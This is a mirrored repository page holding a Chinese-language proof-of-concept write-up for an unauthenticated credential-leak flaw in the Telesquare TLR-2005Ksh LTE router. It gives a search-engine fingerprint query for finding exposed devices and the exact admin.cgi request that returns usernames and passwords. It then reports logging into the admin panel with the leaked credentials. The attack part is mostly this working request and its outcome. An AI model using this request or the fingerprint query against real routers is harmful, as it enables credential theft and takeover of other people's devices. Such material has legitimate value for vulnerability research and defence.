admin/POC
1
0
Fork 0
mirror of https://github.com/eeeeeeeeee-code/POC.git synced 2025-07-29 05:54:14 +00:00
Code Issues Packages Projects Releases Wiki Activity
POC/wpoc/Telesquare/TelesquareTLR-2005Ksh路由器getUsernamePassword信息泄露漏洞.md
eeeeeeeeee-code 06c8413e64 first commit
2025-03-04 23:12:57 +08:00

1.1 KiB
Raw Blame History

Telesquare TLR-2005Ksh 路由器 getUsernamePassword 信息泄露漏洞

一、漏洞简介

Telesquare Tlr-2005Ksh是韩国Telesquare公司的一款 Sk 电讯 Lte 路由器。Telesquare TLR-2005Ksh存在安全漏洞，攻击者可通过未授权getUsernamePassword获取用户名密码等敏感信息。

二、影响版本

  • Telesquare Tlr-2005Ksh

三、资产测绘

  • hunterweb.title="TLR-2005KSH"||banner="TLR-2005KSH login:"
  • 特征

1700496629079-11703d7f-49e5-4047-bb1c-b189cacaf8bb.png

四、漏洞复现

/cgi-bin/admin.cgi?Command=getUsernamePassword

1700496653815-05ae5b82-3d65-4580-be00-b9fd1c8cee07.png

使用账户密码成果登录后台

1700496675659-d3ed50e9-aec5-4f26-9e2e-ae504baf99f3.png

更新: 2024-02-29 23:57:12
原文: https://www.yuque.com/xiaokp7/ocvun2/awpgpcgce8hdzmr4